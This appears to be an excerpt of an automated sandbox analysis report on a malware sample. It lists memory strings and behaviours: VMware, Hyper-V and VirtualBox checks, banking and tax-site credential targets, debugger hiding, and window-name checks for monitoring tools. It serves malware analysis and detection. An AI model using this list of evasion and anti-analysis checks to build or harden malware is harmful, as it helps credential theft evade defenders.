Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V
Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: AKFHDBFI.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: AKFHDBFI.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: AKFHDBFI.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000202C000.00000004.00000020.00020000.00000000.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002056000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000D.00000002.3230163969.000000000125C000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000D.00000002.3230163969.0000000001229000.00000004.00000020.00020000.00000000.sdmp, a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000131B000.00000004.00000020.00020000.00000000.sdmp, a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000134A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: AKFHDBFI.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: AKFHDBFI.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000001FEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware}r
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: AKFHDBFI.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: AKFHDBFI.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: a3b2c9311b.exe, 0000000E.00000002.2770510086.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: AKFHDBFI.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: AKFHDBFI.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: AKFHDBFI.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: EHDHDHIECG.exe, 00000006.00000003.2246638604.00000000013CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: xVBoxService.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: AKFHDBFI.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: AKFHDBFI.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: AKFHDBFI.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: AKFHDBFI.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: AKFHDBFI.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VBoxService.exe
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VMWare
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: explorti.exe, 0000000D.00000002.3230163969.000000000125C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWC
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SICE
